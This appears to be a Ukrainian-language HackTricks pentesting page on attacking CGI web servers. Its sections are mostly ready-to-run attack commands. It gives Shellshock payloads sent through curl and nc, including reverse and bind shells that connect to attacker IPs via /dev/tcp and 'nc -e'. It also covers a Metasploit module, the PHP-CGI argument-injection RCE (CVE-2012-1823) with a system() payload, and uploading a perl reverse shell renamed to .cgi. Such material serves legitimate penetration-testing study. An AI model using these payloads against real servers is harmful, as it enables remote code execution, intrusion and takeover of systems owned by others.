tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Інформація

CGI скрипти - це perl скрипти, тому, якщо ви зламали сервер, який може виконувати .cgi скрипти, ви можете завантажити perl зворотний шелл (/usr/share/webshells/perl/perl-reverse-shell.pl), змінити розширення з .pl на .cgi, надати права на виконання (chmod +x) і доступ до зворотного шеллу з веб-браузера для його виконання. Щоб перевірити наявність CGI вразливостей, рекомендується використовувати nikto -C all (і всі плагіни)

ShellShock

ShellShock - це вразливість, яка впливає на широко використовувану Bash командну оболонку в операційних системах на базі Unix. Вона націлена на можливість Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції змінними середовища, які є динамічними іменованими значеннями, що впливають на те, як процеси працюють на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи шкідливий код до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно зламати систему.

Експлуатуючи цю вразливість, сторінка може викидати помилку.

Ви можете знайти цю вразливість, помітивши, що використовується стара версія Apache і cgi_mod (з папкою cgi) або використовуючи nikto.

Тест

Більшість тестів базуються на ехо чогось і очікують, що ця строка буде повернена у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, шукайте всі cgi сторінки та тестуйте їх.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (відображений, сліпий та поза каналом)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Експлуатація

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Проксі (MitM до запитів веб-сервера)

CGI створює змінну середовища для кожного заголовка в http запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"

Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте надіслати заголовок, що містить: "Proxy: <IP_attacker>:<PORT>" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером.

Старий PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

В основному, якщо cgi активний і php "старий" (<5.3.12 / < 5.4.2) ви можете виконати код. Щоб експлуатувати цю вразливість, вам потрібно отримати доступ до деякого PHP файлу веб-сервера без надсилання параметрів (особливо без надсилання символу "="). Тоді, щоб протестувати цю вразливість, ви можете отримати доступ, наприклад, до /index.php?-s (зверніть увагу на -s) і код програми з'явиться у відповіді.

Тоді, щоб отримати RCE, ви можете надіслати цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input і PHP код для виконання в тілі запиту. Приклад:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Більше інформації про вразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks